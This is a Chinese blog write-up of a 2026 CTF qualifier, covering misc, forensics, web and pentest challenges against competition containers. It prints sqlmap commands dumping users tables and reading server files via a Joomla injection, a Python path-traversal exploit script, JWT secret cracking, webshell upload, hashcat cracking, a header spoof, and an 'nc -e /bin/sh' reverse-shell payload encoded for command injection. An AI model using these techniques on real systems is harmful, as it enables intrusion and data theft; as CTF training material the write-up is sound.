2026破阵试炼初赛wp
本文最后更新于37 天前,其中的信息可能已经过时,如有错误请发送邮件到1416359402@qq.com

前言

反正太卡了这个比赛3个小时比赛卡了快2个小时,就做了1个小时,没招了,极限一个小时,就好像就做了8个题吧

后面是有复现的

比赛网址:破阵阁::CTF

Misc

最简单签到

员工ID输入47就行

看控制台

flag{ca5798a0-e82b-4527-b251-ed8a2da2d96e}

游戏营销

核心代码

漏洞点分析:
分数本地化:gameScore 作为一个全局变量存储在客户端,攻击者可以任意修改。
触发可控:gameover() 函数可以直接通过控制台调用,无需真正等到飞机坠毁。
验证缺失:后端 api.php 似乎只根据前端传过去的 score 值进行逻辑判断,没有校验分数的增长过程或游戏过程。

修改全局变量并自杀

控制台

gameScore = 999999; 
gameover();
flag{7107a0c9-7343-4d69-96e0-5a1dba087820}

Forensics

诡异的命令执行

下载流量包搜索flag{就行

flag{3cbed997-2fd2-41a9-8a71-c1c7b0d8e7dd}

webshell被删除了

flag 可能被输出到了日志里,或者攻击者将其复制到了某个隐藏文件。我们可以直接在整个文件系统中搜索 flag{ 或者 flag 关键字。

grep -r "flag{" / 2>/dev/null
flag{fb9b43db-d015-4458-a449-db959e48ad99}

暗影迷踪

排查异常进程

首先检查服务器上运行的进程,寻找可疑活动。 命令:

ps -ef | grep tomcat

分析: 在输出中发现了异常现象:

  1. 正常的 Tomcat 进程运行在 /opt/jre.../bin/java
  2. 发现了异常进程 /var/crash/tomcat(PID 106, 107)。/var/crash 通常是存放崩溃日志的地方,不应该有可执行程序,且该程序伪装成 “tomcat” 的名字。

清除恶意文件

定位到恶意文件路径后,进行清理。 命令:

ls -al /var/crash/tomcat
rm -f /var/crash/tomcat

此时运行 flagcheck 仍提示有后门,说明还有其他痕迹。

排查 Web 目录

检查 Tomcat 的 webapps 目录,查找攻击者上传的 Webshell 或后门目录。 命令:

cd /opt/apache-tomcat-8.5.100/webapps
ls -alt

发现在 webapps 下存在一个名为 a 的非标准目录(标准目录只有 ROOT, docs, examples 等)。进入 a 目录发现 login.jsp,确认为后门目录。

清理命令:

rm -rf /opt/apache-tomcat-8.5.100/webapps/a/

排查持久化机制

恶意文件被删除后,如果没有清理定时任务,病毒可能会再生。这也是 flagcheck 报错的关键原因。 命令:

# 查看当前用户的定时任务
crontab -l
# 或者查看系统定时任务文件
ls -al /var/spool/cron/crontabs/

发现恶意定时任务: * * * * * /var/crash/tomcat 这就解释了为什么会有 /var/crash/tomcat 这个进程——攻击者设置了每分钟执行一次该木马。

清理命令:

# 删除 root 用户的定时任务文件
rm -f /var/spool/cron/crontabs/root

安全加固与清理风险

为了确保环境彻底安全,删除 Tomcat 自带的 examples 目录(这是一个常见的安全最佳实践,CTF 题目常以此作为检查点)。 命令:

rm -rf /opt/apache-tomcat-8.5.100/webapps/examples

获取flag

在彻底清除了:
恶意进程/文件 (/var/crash/tomcat)
Webshell 目录 (/webapps/a)
恶意定时任务 (crontab)
风险目录 (/webapps/examples)
/root/flagcheck
flag{94c4b80e-7603-4d0b-82bb-c45191e92e2b}

Web

最简单的Web安全入门

sql注入就行

题目页面是一个简单的图片博客。浏览网站时发现 URL 中存在动态参数 cat.php?id=1。 尝试在 id=1 后添加 ' 报错,或添加 and 1=1 / and 1=2 测试,发现存在明显的 SQL 注入漏洞。

sqlmap爆就行

sqlmap -u "http://175.27.169.122:23299/cat.php?id=1" --dbs --batch

直接 Dump 核心数据表

锁定 photoblog 数据库,并猜测或爆破表名。根据常规经验,用户信息通常在 users 表中。我们直接尝试 Dump users 表的数据:

sqlmap -u "http://175.27.169.122:23299/cat.php?id=1" -D photoblog -T users --dump --batch
flag{94695d69-4709-441d-af33-a172b674439c}

安全牛的ERP

指纹识别:查看网页源代码,发现 CSS 路径为 css/jsherp.css,确认目标系统为 华夏ERP (jshERP)。
漏洞原理:该系统存在未授权访问/目录遍历漏洞。安全过滤器通常会放行 /css/、/images/ 等静态资源目录。
是否需要登录:不需要。利用该漏洞的核心就是绕过权限验证。如果你之前的尝试跳转到了登录页,说明 URL 被浏览器或库自动“规范化”了(把 ../ 删掉了),导致服务器收到的是直接访问 /flag.html 的请求,从而触发拦截。

解题步骤:
构造 Payload:/css/../flag.html。
过滤器看到 /css/ 开头 -> 放行。
后端处理 ../ -> 实际读取 根目录下的 flag.html。
操作:使用 Burp Suite 抓包,将 GET /login.html ... 修改为 GET /css/../flag.html ... 即可拿到 Flag。

exp.py

import requests
import re
import sys

def exploit(ip, port):
    base_url = f"http://{ip}:{port}"
    target_path = "/css/../flag.html"
    full_url = base_url + target_path

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36",
        "Accept": "*/*"
    }

    try:
        req = requests.Request('GET', full_url, headers=headers)
        prepped = req.prepare()
        prepped.url = full_url

        s = requests.Session()
        resp = s.send(prepped, timeout=10)

        if resp.status_code == 200:
            flag = re.search(r'flag{.*?}', resp.text)
            if flag:
                print(flag.group(0))
            else:
                print(resp.text)
        else:
            print(f"Status: {resp.status_code}")

    except Exception as e:
        print(e)

if __name__ == "__main__":
    ip = "175.27.169.122"
    port = "56891"
    exploit(ip, port)
flag{7a207efe-5f45-4e5e-ac42-ee3e2cccf5d4}

贼牛掰的身份鉴权,还怕在失陷?

随便输入一个用户名和密码

有默认账户和密码

查看bp的包

这里发现是jwt,先尝试改role为admin试试

直接401了,使用无影的jwt爆破试试,token如下:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNzY5ODcxNzI4MDI3LCJhZ2VudCI6Ik1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xNDMuMC4wLjAgU2FmYXJpLzUzNy4zNiIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzY5ODcxNzI4fQ.uPLIJdykktdqUrjslp0YCs7F6LOeXREVGiaISki7S0A

破解成功

改成admin进行编码

成功获得flag:

flag{e2116b4f-f637-4f77-8900-749e4ea506bf}

‍Pentest

小小的挑战

题目背景与漏洞分析

  • 目标环境: Joomla CMS (运行于 Nginx + PHP + MySQL)
  • 漏洞点: com_fields 组件 SQL 注入 (CVE-2017-8917)
  • 核心利用点: 利用 MySQL 的 FILE 权限读取服务器本地文件。

我们发现目标 URL 存在一个经典的 Joomla 注入漏洞,注入参数位于 list[fullordering]​。通过测试发现,该注入点支持 Error-Based (报错注入) ,这意味着我们可以直接从报错回显中获取数据。

渗透过程

为了确认当前数据库用户是否有权限读取系统文件,以及确认网站的绝对路径,我们首先尝试读取 Joomla 的核心配置文件 configuration.php​。通常该文件位于 /var/www/html/configuration.php

python sqlmap.py -u "http://175.27.169.122:63265//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=1" -p "list[fullordering]" --technique=E --level 3 --risk 2 --batch --file-read "/var/www/html/configuration.php"

运行结果:

  • SQLMap 成功下载了文件(大小 1975 B)。
  • 这证明了两个关键点:

    1. 数据库用户(通常是 root​)拥有 FILE​ 权限,且 secure_file_priv 没有限制(或限制很宽)。
    2. 我们具备了任意文件读取的能力。

获得文件读取能力后,下一步是寻找 Flag 的位置。 通常 Web 服务的运行用户是 www-data,我们猜测 Flag 可能位于该用户的家目录下。

python sqlmap.py -u "http://175.27.169.122:19671/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=1" -p "list[fullordering]" --technique=E --level 3 --risk 2 --batch --file-read "/home/www-data/flag"

成功获得flag:

flag{17780e69-17fa-47ef-af66-9fdcb3367f02}

‍激进的开发者

首先我们注册一个账号

登录

查询数据,将包发给sqlmap查看有没有sql注入

创建一个a.txt将包复制进去

使用以下命令爆破

python sqlmap.py -r C:UsersluoyeDesktopa.txt  --dbs

继续报表

python sqlmap.py -r C:UsersluoyeDesktopa.txt  -D webapphacking --tables

这里我们直接dump user表

python sqlmap.py -r C:UsersluoyeDesktopa.txt  -D webapphacking -T users --dump

使用superadmin进行登录看看

这里多了一个上传文件的地方,我们直接一句话木马走起

这里竟然上传成功了,尝试访问

这里没报错,说明应该没问题,直接蚁剑走起

在home里面的www-data里面发现flag文件

读取flag为:

flag{018ae624-eabf-4f23-bf65-800ff6b2168c}

‍遗忘的调试信息

我们可以使用SerLists的字典进行扫描,链接:https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/common.txt

下载完使用dirsearch进行扫描

这里我们看到里面有个Info.php

访问http://175.27.169.122:34176/antibot_image/antibots/info.php看看

发现是一个phpinfo的文件

这里我们查看源代码可以拼接一个image参数,我们尝试文件读取

这里成功读取/etc/passwd

根据前面的题目的经验,我们直接读取flag文件

http://175.27.169.122:34176/antibot_image/antibots/info.php?image=/home/www-data/flag

成功获取flag为:

flag{2b8790b6-95ee-4299-95ad-85f9a7b14f1e}

有点限制,但是不多

我们依旧使用SecLists的字典进行扫描,我的地址是danielmiessler SecLists master DiscoveryWeb-ContentFile-Extensions-Universal-SVNDigger-ProjectcatLanguagephp.txt

这里我们看到registration.php我们访问看看

这里直接报错了

重新注册刚刚的发现邮箱被注册了

这里来到login.php输入刚刚注册的用户名和密码

翻译一下他这里说我们需要提交6位数验证码

这里我们点击这里

发现上面的参数多了有关u=14

我们访问activate.php

这里我们输入刚刚的14,code随便输

这里403了,估计是code错误了,这里有token,我们可以尝试去进行爆破

这里我们选择音符进行爆破,然后code设置000000到999999的爆破

这里我们选择设置里面的提取

选中value

将线程设置为1,进行爆破

第二个payload选择递归提取

这里我们看到code为000511的时候其状态码为302,我们回到网站添加试试

成功进入admin

查看用户列表

发现Lumina是管理员

本来想看看有没有什么隐藏内容的结果看到一串哈希加密的数据

我们使用hashcat爆破解密

hashcat -m 100 -a 3 b5add2a80d5acacd664a6657c5607986ae5b5b78 ?a?a?a?a?a?a -i

成功获取密码:HNzMrX,使用管理员账户登录

user:Lumina
pass:HNzMrX

这里发现一个命令执行,终于要结束了吗QAQ

bushi,我们F12看看

这里显示ip不允许

这里我们使用ip加一个X-Forwarded-For试试

请求成功

成功进入命令执行

直接cat /home/www-data/flag

这里找了一圈发现没有回显,结合官方wp知道这里需要反弹shell(这题这么难,真没招了)

使用paload:

nc ip:port -e /bin/sh

ip和端口换成自己的服务器ip执行反弹shell

这里还要包+号改成%09

nc%09ip地址%3A端口%09-e%09%2Fbin%2Fsh

这里我实在搞不懂他是这么读取到的,他这里自己也写了会断,但是我试懵逼了也没提取到这个flag,无敌了

多次进去,但都是秒断,根本无法读取flag,无解

总结与反思:

我还是要说,有点难度,但是3个小时比赛卡了快2个小时 容器进不去,无敌了,就做了1个小时

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇